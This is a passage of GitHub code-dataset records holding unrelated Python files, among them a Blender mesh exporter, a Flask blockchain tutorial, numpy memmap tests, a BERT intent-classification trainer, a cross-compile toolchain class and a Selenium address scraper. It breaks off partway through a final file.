root.BinFile.writeint( block.edges[ l.edge_index ].vertices[ 1 ])\n return pos\n\n def ExportUVs( self, block, root, index ):\n pos = root.BinFile.getposition()\n root.BinFile.writeint( len( block.uv_layers[ index ].data ))\n for uvloop in block.uv_layers[ index ].data:\n root.BinFile.writevec([ uvloop.uv[ 0 ], 1 - uvloop.uv[ 1 ]])\n return pos\n\n def ExportVertexGroups( self, obj ):\n armature = obj.find_armature()\n if ( armature is None ):\n baseindex = 0\n else:\n baseindex = len( armature.data.bones )\n\n grps = []\n for vgroup in obj.vertex_groups:\n n = baseindex + vgroup.index\n if ( armature ):\n n = armature.data.bones.find( vgroup.name )\n grps.append({ 'Index': n, 'Name': vgroup.name })\n return grps\n\n def ExportWeights( self, block, root, groups ):\n weightpos = root.BinFile.getposition()\n bin = b''\n root.BinFile.writeint( len( block.vertices ))\n\n for vertex in block.vertices: #make dictionary of all groups\n vgrps = { vgroup.group: vgroup.weight for vgroup in vertex.groups }\n from operator import itemgetter\n srt = sorted( vgrps.items(), key=itemgetter( 1 ), reverse=True )\n\n vec = [ 0, 0, 0, 0 ] # make sure the length of the vecs is always 4\n idx = [ 0, 0, 0, 0 ] # fill with zero indices, weight will be zero if idx not used\n for i in range( 0, min( 4, len( vgrps ))):\n vec[ i ] = srt[ i ][ 1 ]\n idx[ i ] = groups[ srt[ i ][ 0 ]][ 'Index' ]\n lenManh = vec[ 0 ] + vec[ 1 ] + vec[ 2 ] + vec[ 3 ]\n if ( lenManh ):\n vec[:] = [ n / lenManh for n in vec ] #scale vector by 1/manhattan distance\n\n #if ( len( vgrps ) > 4 ):\n # self.report({ 'INFO' }, 'vertexweights: [{:2f},{:2f},{:2f},{:2f}]'.format( *vec ) + ' indices: [{:d},{:d},{:d},{:d}]'.format( *idx ))\n root.BinFile.writevec(( vec[ 0 ], vec[ 1 ], vec[ 2 ])) # we only need the first 3 weights as the last can be calculated as 1-other weights\n bin += struct.pack( '4i', *idx ) #write indices separately from weights\n\n indexpos = root.BinFile.getposition()\n root.BinFile.writeint( len( block.vertices ))\n root.BinFile.file.write( bin )\n\n return '@' + str( weightpos ), '@' + str( indexpos )\n\n def ExportFaces( self, block, root ):\n totno = 0\n mesh = block\n pos = root.BinFile.getposition()\n root.BinFile.writeint( len( block.polygons ))\n for polygon in block.polygons:\n bin = struct.pack( 'i', polygon.loop_start )\n root.BinFile.file.write( bin )\n totno += 1\n return pos\n\n def ExportModifiers( self, block, root, obj ):\n pass\n\n def __init__( self, block, root = None, path='', obj = None ):\n self.Name = block.name\n super().__init__( block, root, p3dexporthelper.indexedprop.format( 'Meshes', self.Name ), obj )\n self.ClassName = 'TP3DMesh'\n bpy.ops.object.mode_set(mode='OBJECT')\n root.createBinFile()\n print( repr( root.BinFile ))\n\n arm = obj.find_armature()\n if arm and root.Exporter.ExportArmatures and hasattr( arm.data, 'pose_position' ):\n pose = arm.data.pose_position\n arm.data.pose_position = 'REST'\n root.ActiveScene.update()\n else:\n arm = None\n root.Exporter.report({ 'INFO' }, 'Mesh \"{}\" does not have a pose_position'.format( block.name ))\n\n if root.Exporter.ApplyModifiers:\n mesh = obj.to_mesh( bpy.context.scene, True, 'PREVIEW', True )\n else:\n mesh = obj.to_mesh( bpy.context.scene, False, 'PREVIEW', True )\n\n self.PackedPositions = '@' + str( self.ExportPositions( mesh, root ))\n self.PackedNormals = '@' + str( self.ExportNormals( mesh, root ))\n self.Loops = '@' + str( self.ExportLoops( mesh, root ))\n self.Edges = '@' + str( self.ExportEdges( mesh, root ))\n self.PackedFaces = '@' + str( self.ExportFaces( mesh, root ))\n if ( mesh.uv_layers ):\n self.PackedTangents = '@' + str( self.ExportTangents( mesh, root ))\n self.PackedCotangents = '@' + str( self.ExportCotangents( mesh, root ))\n self.TexCoords = []\n index = 0\n for uv in mesh.uv_layers:\n self.TexCoords.append( '@' + str( self.ExportUVs( mesh, root, index )))\n index += 1\n if ( obj ):\n grps = self.ExportVertexGroups( obj )\n if ( grps ):\n self.WeightGroups = grps\n self.PackedVertexWeights, self.PackedVertexWeightIndices = self.ExportWeights( mesh, root, self.WeightGroups )\n self.ExportModifiers( block, root, obj )\n if ( block.materials ):\n\n if ( len( block.materials ) > 1 ):\n root.Exporter.report({ 'WARNING' }, 'Mesh \"{}\" has multiple materials. This is not supported by the exporter yet. Only the first material is exported for the whole mesh. Please separate the mesh by materials'.format( block.name ))\n #self.PackedMaterialGroups = [ { \"PolyStart\": 0, \"PolyEnd\": len( mesh.polygons ) - 1, \"Material\": p3dexporthelper.export_data_path( block.materials[ 0 ], root, block )}]\n self.Material = p3dexporthelper.export_data_path( block.materials[ 0 ], root, block )\n else:\n self.Material = None\n\n bpy.data.meshes.remove( mesh )\n if arm:\n arm.data.pose_position = pose\n root.ActiveScene.update()\n\n @staticmethod\n def find_storage( root ):\n return root.Meshes\n\np3dexporthelper.dict_export_class[ bpy.types.Mesh ] = P3DMesh\n","repo_name":"soerensen3/pascal3d","sub_path":"blender3d_exporter/io_export_pascal3d/p3dmesh.py","file_name":"p3dmesh.py","file_ext":"py","file_size_in_byte":7457,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"4347862045","text":"def criarVet(vet):\n n = 0\n for i in range(0, TAM):\n n = int(input(\"Preencha o vetor: \"))\n vet[i] = n\n return vet\n\ndef uniaoVetor(vet1, vet2, vetU):\n j = 0\n for i in range(0, 20):\n if i < 10:\n vetU[i] = vet1[i]\n else:\n vetU[i] = vet2[j]\n j += 1\n return vetU\n\ndef intersecaoVet(vet1, vet2, vetI):\n for i in range(0, len(vet1)):\n for j in range(0, len(vet2)):\n if vet1[i] == vet2[j]:\n vetI[i] = vet1[i]\n return vetI\n\nTAM = 10\nvet1 = [0]*TAM\nvet2 = [0]*TAM\nvetU = [0]*20\nvetI = [0]*TAM\nvet1 = criarVet(vet1)\nvet2 = criarVet(vet2)\nvetU = uniaoVetor(vet1, vet2, vetU)\nvetI = intersecaoVet(vet1, vet2, vetI)\nprint(vetU)\nprint(vetI)\n","repo_name":"DougMouraA/Lista-de-Fundamentos","sub_path":"P2/uniaoIntersecao.py","file_name":"uniaoIntersecao.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29345585436","text":"import numpy as np\n\nfrom mmap_ninja import numpy\n\n\ndef test_numpy(tmp_path):\n arr = np.arange(10)\n memmap = numpy.from_ndarray(tmp_path / 'numpy_mmap', arr)\n\n for i, el in enumerate(arr):\n assert el == memmap[i]\n\n\ndef test_numpy_from_empty(tmp_path):\n arr = np.arange(10)\n memmap = numpy.empty(tmp_path / 'numpy_mmap', dtype=np.int64, shape=(10,), order='C')\n memmap[:] = arr\n\n\ndef test_numpy_extend(tmp_path):\n arr = np.arange(3)\n memmap = numpy.from_ndarray(tmp_path / 'growable', arr)\n numpy.extend_dir(tmp_path / 'growable', np.arange(11, 13))\n memmap = numpy.open_existing(tmp_path / 'growable')\n assert memmap[0] == 0\n assert memmap[1] == 1\n assert memmap[2] == 2\n assert memmap[3] == 11\n assert memmap[4] == 12\n\n\ndef test_numpy_extend_alternative_api(tmp_path):\n arr = np.arange(3)\n memmap = numpy.from_ndarray(tmp_path / 'growable', arr)\n numpy.extend(memmap, np.arange(11, 13))\n memmap = numpy.open_existing(tmp_path / 'growable')\n assert memmap[0] == 0\n assert memmap[1] == 1\n assert memmap[2] == 2\n assert memmap[3] == 11\n assert memmap[4] == 12\n\n\ndef simple_gen():\n for i in range(30):\n yield i\n\n\ndef test_numpy_from_generator(tmp_path):\n memmap = numpy.from_generator(simple_gen(), tmp_path / 'generator', n=30, batch_size=4, verbose=True)\n for i in range(30):\n assert i == memmap[i]\n\n","repo_name":"pkafma-aon/mmap.ninja","sub_path":"python/tests/test_numpy.py","file_name":"test_numpy.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"2579716973","text":"import os\nfrom handlers.status_handler import print_status\n\ndef validate_music_config(music_config):\n print_status(\"Validating configurations for downloading music\")\n\n # Check if required fields are present\n required_fields = ['format', 'directory', 'query_type', 'queries']\n\n for field in required_fields:\n if field not in music_config:\n raise ValueError(f\"Missing required field: {field} in source.yml - Music\")\n \n # Validate values inside required fields\n supported_formats = ['mp3', 'wav', 'm4a']\n if music_config['format'] not in supported_formats:\n raise ValueError(\"Invalid format specified in Music - source.yml\")\n \n directory_path = music_config['directory'] \n if not os.path.isdir(directory_path):\n raise ValueError(f\"Invalid directory path ({directory_path}) specified in Music - source.yml\")\n \n supported_query_types = ['query', 'url', 'playlist', 'channel_url']\n if music_config['query_type'] not in supported_query_types:\n raise ValueError(\"Invalid query_type specified in Music - source.yml\")\n \n queries_file = music_config['queries']\n if os.path.getsize(queries_file) == 0:\n raise ValueError(\"music.txt file is empty - no queries to search for!\")\n \n # if all checks pass, return True\n return True","repo_name":"hakunekooo/Tube-Crawler","sub_path":"validators/music_validator.py","file_name":"music_validator.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32058977808","text":"# coding: UTF-8\n\nimport hashlib\nimport json\nfrom textwrap import dedent\nfrom time import time\nfrom uuid import uuid4\nfrom flask import Flask, jsonify, request\n\n\nclass Blockchain(object):\n def __init__(self):\n self.chain = []\n self.current_transaction = []\n self.new_block(previous_hash=1, proof=100)\n\n def new_block(self, proof, previous_hash=None):\n \"\"\"\n ブロックチェーンに新しいブロックを作る\n :param proof: Proof of Workアルゴリズムから得られるプルーフ\n :param prev_hash: (Option) 前のブロックのハッシュ\n :return: 新しいブロック\n \"\"\"\n\n block = {\n 'index': len(self.chain) + 1,\n 'timestamp': time(),\n 'transactions': self.current_transaction,\n 'proof': proof,\n 'previous_hash': previous_hash or self.hash(self.chain[-1]) # [-1] : 配列の一番うしろの要素を指定\n }\n\n self.current_transaction = []\n\n self.chain.append(block)\n return block\n\n def new_transaction(self, sender, recipient, amount):\n \"\"\"\n 次に採掘されるブロックに加える新しいトランザクションを生成する\n :param sender: 送信者のアドレス\n :param recipient: 受信者のアドレス\n :param amount: 量\n :return: このトランザクションを含むブロックのアドレス\n \"\"\"\n self.current_transaction.append({\n 'sender': sender,\n 'recipient': recipient,\n 'amount': amount\n })\n\n return self.last_block['index'] + 1\n\n @staticmethod # 継承クラスでも動作が変わらないことを保証\n def hash(block):\n \"\"\"\n ブロックのSHA-256ハッシュを作る\n :param block: ハッシュ化されるブロック\n :return: ハッシュ値\n \"\"\"\n # sort_keys=Trueでキーでソート.ソートされていないと一貫性の無いハッシュとなってしまう\n block_string = json.dumps(block, sort_keys=True).encode()\n return hashlib.sha256(block_string).hexdigest()\n\n @property # プロパティのgetterであることを示す\n def last_block(self):\n return self.chain[-1]\n\n def proof_of_work(self, last_proof):\n \"\"\"\n シンプルなproof-of-workアルゴリズム\n - hash(pp')の最初の4つが0となるようなpを探す\n - pは1つ前のブロックのプルーフ,p'は新しいブロックのプルーフ\n :param last_proof: p\n :return: p'\n \"\"\"\n\n proof = 0\n while self.is_valid_proof(last_proof, proof) is False:\n proof += 1\n\n return proof\n\n @staticmethod\n def is_valid_proof(last_proof, crnt_proof):\n \"\"\"\n hash(last_proof, current_proof)の最初の4つが0となっているかを確認\n :param last_proof: \n :param crnt_proof: \n :return: \n \"\"\"\n\n guess = f'{last_proof}{crnt_proof}'.encode()\n guess_hash = hashlib.sha256(guess).hexdigest()\n\n return guess_hash[:4] == \"0000\" # hexdigestは16進数形式文字列を返す\n\n\napp = Flask(__name__)\n\nnode_id = str(uuid4()).replace('-', '') # ランダムなユニークアドレスを生成\n\nblockchain = Blockchain()\n\n\n@app.route('/transactions/new', methods=['POST'])\ndef new_transactions():\n values = request.get_json()\n\n required = ['sender', 'recipient', 'amount']\n if not all(k in values for k in required):\n return 'Missing values', 400\n\n index = blockchain.new_transaction(values['sender'], values['recipient'], values['amount'])\n\n response = {'message': f'トランザクションはブロック{index}に追加されました'}\n return jsonify(response), 201\n\n\n@app.route('/mine', methods=['GET'])\ndef mine():\n # 次のプルーフを見つけるためにproof of work アルゴリズムを使用する\n last_block = blockchain.last_block\n last_proof = last_block['proof']\n proof = blockchain.proof_of_work(last_proof)\n\n blockchain.new_transaction(\n sender=\"0\",\n recipient=node_id,\n amount=1\n )\n\n # チェーンに新しいブロックを加えることで,新しいブロックを採掘する\n block = blockchain.new_block(proof)\n\n response = {\n 'message': '新しいブロックを採掘しました',\n 'index': block['index'],\n 'transactions': block['transactions'],\n 'proof': block['proof'],\n 'previous_hash': block['previous_hash']\n }\n\n return jsonify(response), 200\n\n\n@app.route('/chain', methods=['GET'])\ndef full_chain():\n response = {\n 'chain': blockchain.chain,\n 'length': len(blockchain.chain)\n }\n return jsonify(response), 200\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"tjmtmmnk/blockchain-practice","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":4991,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28407969922","text":"\nfrom imagekit import *\n\ndef scale_bilinear(input, width, height):\n output = ImageBuffer(width, height, input.channels)\n in_width = input.width\n in_height = input.height\n \n x_scale = float(in_width - 1) / width\n y_scale = float(in_height - 1) / height\n \n for y in range(height):\n y_in = int(y * y_scale)\n Ly = y * y_scale - y_in\n \n for x in range(width):\n x_in = int(x * x_scale)\n Lx = x * x_scale - x_in\n \n A = list(input.get_pixel(x_in, y_in))\n B = input.get_pixel(x_in+1, y_in)\n C = input.get_pixel(x_in, y_in+1)\n D = input.get_pixel(x_in+1, y_in+1)\n \n for i in range(len(A)):\n A[i] = (\n (A[i] * (1 - Lx) * (1 - Ly)) +\n (B[i] * ( Lx) * (1 - Ly)) +\n (C[i] * ( Ly) * (1 - Lx)) +\n (D[i] * ( Lx) * ( Ly))\n )\n \n output.set_pixel(x, y, A)\n return output\n\ndef main():\n b = ImageBuffer.from_png('images/image01.png')\n output = scale_bilinear(b, b.width*2, b.height*2)\n output.save_png('example2-output.png')\n\nif __name__ == '__main__':\n main()\n","repo_name":"cleure/Py-ImageKit","sub_path":"example2.py","file_name":"example2.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"39074088863","text":"import numpy\n\ndef basin_lookup(index):\n x = ndarray[index]\n basin_array = [index]\n if ndarray.shape[1] != index[1] + 1 and ndarray[index[0], index[1]+1] > x and ndarray[index[0], index[1]+1] != 9:\n basin_array = basin_array + basin_lookup((index[0], index[1] + 1))\n if ndarray.shape[0] != index[0] + 1 and ndarray[index[0] + 1, index[1]] > x and ndarray[index[0] + 1, index[1]] != 9:\n basin_array = basin_array + basin_lookup((index[0] + 1, index[1]))\n if -1 != index[1] - 1 and ndarray[index[0], index[1] - 1 ] > x and ndarray[index[0], index[1] - 1 ] != 9:\n basin_array = basin_array + basin_lookup((index[0], index[1] - 1))\n if -1 != index[0] - 1 and ndarray[index[0] - 1, index[1]] > x and ndarray[index[0] - 1, index[1]] != 9:\n basin_array = basin_array + basin_lookup((index[0] - 1, index[1]))\n return basin_array\n\nndarray = numpy.genfromtxt('input.txt', delimiter=1, dtype=int)\ncount = 0\nshape = ndarray.shape\nbasin_sizes = []\nfor index, x in numpy.ndenumerate(ndarray):\n if ndarray.shape[1] == index[1] + 1 or ndarray[index[0], index[1]+1] > x:\n if ndarray.shape[0] == index[0] + 1 or ndarray[index[0] + 1, index[1]] > x:\n if -1 == index[1] - 1 or ndarray[index[0], index[1] - 1 ] > x:\n if -1 == index[0] - 1 or ndarray[index[0] -1, index[1]] > x:\n basin_sizes.append(len(set(basin_lookup(index))))\n count += 1 + x\nbasin_sizes.sort()\nprint(basin_sizes[-1] * basin_sizes[-2] * basin_sizes[-3])\nprint(count)\n\n","repo_name":"Strawl/advent-of-code","sub_path":"2021/9/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"626080261","text":"from config import args\nfrom model import SacBert\nfrom trainer import SacTrainer\nimport torch\nimport os\nfrom transformers import BertConfig, AutoTokenizer\nfrom dataset import SacDataset, pad_collate_fn\nfrom torch.utils.data import DataLoader\nfrom functools import partial\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\ndef main():\n config = BertConfig.from_pretrained(args.model_name_or_path)\n tokenizer = AutoTokenizer.from_pretrained(args.model_name_or_path)\n model = SacBert.from_pretrained(args.model_name_or_path, config=config)\n model.to(device)\n\n optimizer = torch.optim.AdamW(model.parameters(), lr=args.learning_rate)\n lr_scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer)\n\n collate_fn = partial(pad_collate_fn, max_len=args.max_len, padding_token=0)\n\n print(\" ======== begin to load data ======== \")\n if args.do_train:\n train_dataset = SacDataset(os.path.join(args.data_path, 'train.txt'),\n args.max_len,\n tokenizer)\n train_dataloader = DataLoader(train_dataset,\n batch_size=args.batch_size,\n shuffle=True, collate_fn=collate_fn)\n if args.mode == 'retrieve':\n valid_intent_dataset = SacDataset(os.path.join(\n args.data_path, 'intent.txt'),\n args.max_len,\n tokenizer)\n valid_intent_dataloader = DataLoader(valid_intent_dataset,\n batch_size=args.batch_size,\n shuffle=True, collate_fn=collate_fn)\n valid_query_dataset = SacDataset(os.path.join(\n args.data_path, 'intent.txt'),\n args.max_len,\n tokenizer)\n valid_query_dataloader = DataLoader(valid_query_dataset,\n batch_size=args.batch_size,\n shuffle=True, collate_fn=collate_fn)\n else:\n valid_dataset = SacDataset(os.path.join(args.data_path,\n 'test.txt'),\n args.max_len,\n tokenizer)\n valid_dataloader = DataLoader(valid_dataset,\n batch_size=args.batch_size,\n shuffle=True, collate_fn=collate_fn)\n if args.do_eval:\n if args.mode == 'retrieve':\n test_intent_dataset = SacDataset(os.path.join(\n args.data_path, 'intent.txt'),\n args.max_len,\n tokenizer)\n test_intent_dataloader = DataLoader(test_intent_dataset,\n batch_size=args.batch_size,\n shuffle=True, collate_fn=collate_fn)\n test_query_dataset = SacDataset(os.path.join(\n args.data_path, 'intent.txt'),\n args.max_len,\n tokenizer)\n test_query_dataloader = DataLoader(test_query_dataset,\n batch_size=args.batch_size,\n shuffle=True, collate_fn=collate_fn)\n else:\n test_dataset = SacDataset(os.path.join(args.data_path, 'test.txt'),\n args.max_len,\n tokenizer)\n test_dataloader = DataLoader(test_dataset,\n batch_size=args.batch_size,\n shuffle=True, collate_fn=collate_fn)\n\n trainer = SacTrainer(\n args=args,\n device=device,\n model=model,\n train_dataloader=train_dataloader if args.do_train else None,\n valid_intent_dataloader=valid_intent_dataloader\n if args.do_train and args.mode == 'retrieve' else None,\n valid_query_dataloader=valid_query_dataloader\n if args.do_train and args.mode == 'retrieve' else None,\n valid_dataloader=valid_dataloader\n if args.do_train and args.mode == 'classify' else None,\n optimizers=(optimizer, lr_scheduler),\n )\n\n if args.do_train:\n print(\" ======== begin to train model ======== \")\n trainer.train()\n if args.do_eval:\n print(\" ======== begin to eval model ======== \")\n if args.mode == 'retrieve':\n trainer.eval_retrieve(intent_dataloader=test_intent_dataloader, query_dataloader=test_query_dataloader)\n elif args.mode == 'classify':\n trainer.eval_classify(dataloader=test_dataloader)\n else:\n raise ValueError(\n \"mode type error, only support retrieve and classify\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Quelisa/SacTrainer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42522192727","text":"import sys\nimport os\nimport platform\nfrom typing import Union\n\nclass NativeToolchain:\n \"\"\"A toolchain for building native binaries, e.g. to be run on the\n build host.\"\"\"\n\n def __init__(self, lib_path: str, other: 'Toolchain'):\n self.native = self\n\n self.tarball_path = other.tarball_path\n self.src_path = other.src_path\n self.build_path = other.build_path\n self.install_prefix = lib_path\n self.host_triplet = None\n\n machine = platform.machine()\n self.is_arm = machine.startswith('arm')\n self.is_armv7 = machine.startswith('armv7')\n self.is_aarch64 = machine.startswith('aarch64')\n self.is_windows = False\n self.is_android = False\n self.is_darwin = sys.platform == 'darwin'\n\n self.cc = 'ccache gcc'\n self.cxx = 'ccache g++'\n self.ar = 'ar'\n self.arflags = ''\n self.ranlib = 'ranlib'\n self.strip = 'strip'\n self.windres = None\n\n common_flags = '-Os -ffunction-sections -fdata-sections -fvisibility=hidden'\n self.cflags = common_flags\n self.cxxflags = common_flags\n self.cppflags = '-DNDEBUG'\n self.ldflags = ''\n self.libs = ''\n\n self.env = dict(os.environ)\n\nclass Toolchain:\n def __init__(self, top_path: str, lib_path: str,\n tarball_path: str, src_path: str, build_path: str, install_prefix: str,\n host_triplet: str, arch_cflags: str, cppflags: str,\n arch_ldflags: str,\n cc: str, cxx: str, ar: str, arflags: str,\n ranlib: str, strip: str, windres: str):\n self.tarball_path = tarball_path\n self.src_path = src_path\n self.build_path = build_path\n self.install_prefix = install_prefix\n self.host_triplet = host_triplet\n\n self.is_arm = host_triplet.startswith('arm')\n self.is_armv7 = host_triplet.startswith('armv7')\n self.is_aarch64 = host_triplet.startswith('aarch64')\n self.is_windows = 'mingw32' in host_triplet\n self.is_android = '-android' in host_triplet\n self.is_darwin = '-darwin' in host_triplet\n\n self.cc = cc\n self.cxx = cxx\n self.ar = ar\n self.arflags = arflags\n self.ranlib = ranlib\n self.strip = strip\n self.windres = windres\n\n common_flags = '-Os -g -ffunction-sections -fdata-sections -fvisibility=hidden ' + arch_cflags\n self.cflags = common_flags\n self.cxxflags = common_flags\n self.cppflags = '-isystem ' + os.path.join(install_prefix, 'include') + ' -DNDEBUG ' + cppflags\n self.ldflags = '-L' + os.path.join(install_prefix, 'lib') + ' ' + arch_ldflags\n self.libs = ''\n\n self.env = dict(os.environ)\n\n # redirect pkg-config to use our root directory instead of the\n # default one on the build host\n import shutil\n bin_dir = os.path.join(install_prefix, 'bin')\n os.makedirs(bin_dir, exist_ok=True)\n self.pkg_config = shutil.copy(os.path.join(top_path, 'build', 'pkg-config.sh'),\n os.path.join(bin_dir, 'pkg-config'))\n self.env['PKG_CONFIG'] = self.pkg_config\n\n # WORKAROUND: Under some circumstances, if QEMU User Emulation is\n # installed on the build system, and enabled for binfmt_misc, it can\n # break detection of cross compiling (at least autoconf's cross\n # compiling detection), which can lead to undesired behaviour.\n # Setting the following nonsense environment variable values should\n # always circumvent QEMU User Emulation.\n self.env['QEMU_CPU'] = 'Deep Thought'\n self.env['QEMU_GUEST_BASE'] = '42'\n\n self.native = NativeToolchain(lib_path, self)\n\nAnyToolchain = Union[Toolchain, NativeToolchain]\n","repo_name":"XCSoar/XCSoar","sub_path":"build/python/build/toolchain.py","file_name":"toolchain.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":311,"dataset":"github-code","pt":"61"} +{"seq_id":"20728595455","text":"# PROGRAMA PARA CONTAR VOGAIS EM UMA TUPLA\npalavras = (\"aprender\",\n \"programar\",\n \"linguagem\",\n \"python\",\n \"curso\",\n \"gratis\",\n \"estudar\",\n \"praticar\",\n \"trabalhar\",\n \"mercado\",\n \"programador\",\n \"futuro\")\n\nfor cont in palavras:\n print(f\"\\nNa palavra aprender {cont.upper()} temos\", end=\" \")\n for vogal in cont:\n if vogal in \"aeiou\":\n print(vogal, end=' ')\n\n","repo_name":"carolnogueira13/Curso-em-video-python","sub_path":"Python-exercicios/Mundo 3/ex077.py","file_name":"ex077.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"21694856974","text":"sys = __import__('sys-blocks')\npygame = __import__('pygame-blocks')\n\nBLOCKS = [\n {'color': (100, 200, 0), 'text': \"For\", 'command': 'for i in range', 'arguments': 1, 'tab_increase': 1},\n {'color': (100, 200, 0), 'text': \"Else\", 'command': 'else:', 'arguments': 0, 'tab_increase': 1},\n {'color': (100, 200, 0), 'text': \"While\", 'command': 'while ', 'arguments': 1, 'tab_increase': 1},\n {'color': (100, 200, 0), 'text': \"End\", 'command': '', 'arguments': 0, 'tab_increase': -1},\n {'color': (255, 70, 70), 'text': \"exec\", 'command': 'exec', 'arguments': 1},\n {'color': (0, 191, 255), 'text': \"Print\", 'command': 'print', 'arguments': 1},\n {'color': (119, 118, 123), 'text': \"Comment\", 'command': '# ', 'arguments': 1},\n {'color': (119, 118, 123), 'text': \"Spacer\", 'command': '', 'arguments': 0},\n {'color': (46, 194, 126), 'text': \"Add\", 'command': 'result = (lambda x, y: x + y)', 'arguments': 2},\n {'color': (46, 194, 126), 'text': \"Subtract\", 'command': 'result = (lambda x, y: x - y)', 'arguments': 2},\n {'color': (46, 194, 126), 'text': \"Multiply\", 'command': 'result = (lambda x, y: x * y)', 'arguments': 2},\n {'color': (46, 194, 126), 'text': \"Divide\", 'command': 'result = (lambda x, y: x / y)', 'arguments': 2},\n {'color': (46, 194, 126), 'text': \"Modulus\", 'command': 'result = (lambda x, y: x % y)', 'arguments': 2},\n {'color': (46, 194, 126), 'text': \"Power\", 'command': 'result = (lambda x, y: x ** y)', 'arguments': 2},\n {'color': (46, 194, 126), 'text': \"Floor Divide\", 'command': 'result = (lambda x, y: x // y)', 'arguments': 2},\n {'color': (46, 194, 126), 'text': \"Absolute Value\", 'command': 'result = abs', 'arguments': 1},\n]\nBLOCKS += pygame.BLOCKS\nBLOCKS += sys.BLOCKS\n","repo_name":"wsadzanie2/PyBlockCode","sub_path":"Blocks.py","file_name":"Blocks.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"15988812769","text":"\"\"\"Kayak\"\"\"\ndef main():\n 'kayak'\n numbersofpeople = int(input()) * 2\n numbers = [int(num) for num in input().split(\" \", numbersofpeople-1)]\n print(numbers)\n for i in range(0,2):\n numbers.remove(max(numbers))\n numbers.sort()\n print()\nmain()\n","repo_name":"ExxiDauS/PSCP-Y1S1","sub_path":"Pre/Kayak.py","file_name":"Kayak.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"677252069","text":"\r\nmx,mn=0,1e9\r\n\r\nwhile True:\r\n x=input(\"insert number : \")\r\n if x=='q': break\r\n mx =max(mx,int(x))\r\n mn =min(mn,int(x))\r\n\r\nprint(\"Largest number is \",mx)\r\nprint(\"smallest number is \",mn)\r\n \r\n\r\n","repo_name":"aqandeel53/first","sub_path":"CTDs/task_1.2.py","file_name":"task_1.2.py","file_ext":"py","file_size_in_byte":208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30767503421","text":"##Single Number III\n##Given an array of numbers nums, in which exactly two elements appear only once\n##and all the other elements appear exactly twice.\n##Find the two elements that appear only once.\n\n##2015年8月26日 15:30:27 AC\n##zss\n\nclass Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n s = set()\n for n in nums:\n if n in s:\n s.remove(n)\n else:\n s.add(n)\n return list(s)\n","repo_name":"zingzheng/LeetCode_py","sub_path":"260Single Number III.py","file_name":"260Single Number III.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6593444519","text":"from webdriver_manager.chrome import ChromeDriverManager\r\nimport requests\r\nimport time\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.ui import Select\r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\nclass Address_scripy(object):\r\n def __init__(self):\r\n options = webdriver.ChromeOptions()\r\n options.add_argument(\"headless\")\r\n\r\n def get_address(self, addr: str):\r\n self.browser = webdriver.Chrome(ChromeDriverManager().install())\r\n self.browser.get(\"http://www.map.com.tw/\")\r\n search = self.browser.find_element_by_id(\"searchWord\")\r\n search.clear()\r\n search.send_keys(addr)\r\n self.browser.find_element_by_xpath(\r\n \"/html/body/form/div[10]/div[2]/img[2]\").click()\r\n # /html/body/form/div[4]/table/tbody/tr[3]/td/table/tbody/tr/td[2]\r\n time.sleep(2)\r\n iframe = self.browser.find_elements_by_tag_name(\"iframe\")[1]\r\n self.browser.switch_to.frame(iframe)\r\n time.sleep(3)\r\n coor_btn = self.browser.find_element_by_xpath(\r\n \"/html/body/form/div[4]/table/tbody/tr[3]/td/table/tbody/tr/td[2]\")\r\n coor_btn.click()\r\n coor = self.browser.find_element_by_xpath(\r\n \"/html/body/form/div[5]/table/tbody/tr[2]/td\")\r\n coor = coor.text.strip().split(\" \")\r\n lat = coor[-1].split(\":\")[-1]\r\n log = coor[0].split(\":\")[-1]\r\n return lat, log\r\n\r\n def quiz_browser(self) -> None:\r\n self.browser.quit()\r\n","repo_name":"jease0502/tawian_address_to_Longitude_and_latitude","sub_path":"address_scripy.py","file_name":"address_scripy.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42837517220","text":"import os\nimport json\nimport typing\nimport inspect\nimport itertools\n\nimport fastapi\nimport pydantic\nimport sqlalchemy\nimport sqlalchemy.orm\n\nfrom open_bus_stride_db.db import _sessionmaker, get_session\n\n\nDEFAULT_LIMIT = 